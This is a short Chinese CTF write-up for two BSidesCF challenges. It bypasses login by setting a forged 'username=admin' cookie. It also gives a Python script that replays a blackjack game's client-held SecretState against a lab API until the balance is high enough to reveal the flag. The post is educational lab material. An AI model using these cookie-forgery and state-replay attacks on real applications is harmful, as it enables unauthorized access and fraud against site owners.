[BSidesCF 2019]Kookie and [BSidesCF 2020]Cards

知识点:cookie伪造

[BSidesCF 2019]Kookie

提示我们要以以admin身份登录,还告诉我们在cookie中,那答案呼之欲出。
在这里插入图片描述
在cookie中加入username=admin
在这里插入图片描述

[BSidesCF 2020]Cards

做题目之前先了解一下21点的规则:

二十一点玩法规则和概率在二十一点游戏中,拥有最高点数的玩家获胜,其点数必须等于或低于21点;超过21点的玩家称为爆牌。 2点至10点的牌以牌面的点数来相加,J、Q、K 每张为10点。 A可记为1点或为11点,若玩家会因A而爆牌则A可算为1点,若开牌就是21点,则直接获胜。

如下图k为10,A为11,相加为21,则显示Blackjack,直接获胜。
在这里插入图片描述
每次请求都会产生一个SecretState,不管输赢,上一个请求的SecretState依旧存在,也就是说,我们可以不停的循环,一直保存赢的SecretState就可以了。

api为一盘的开始
在这里插入图片描述
开du
在这里插入图片描述
格式:
在这里插入图片描述

import requests

start = "http://214c8301-03ae-4eb3-8f55-4d9873b2a4e6.node4.buuoj.cn:81/api"
deal = start + "/deal"


# 开局
state = requests.post(start).json()["SecretState"]

while True:
    # 下注
    try:
        resp = requests.post(deal, json={"Bet": 500, "SecretState": state}).json()
    except:
        continue

    if resp['GameState'] == 'Blackjack':
    #若游戏状态显示Blackjack则保存SecretState,以便接着来
        state = resp['SecretState']

    print(resp['Balance'])#余额
    if resp['Balance'] > 100000:#余额大于100000显示flag
        print(resp)
        break

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值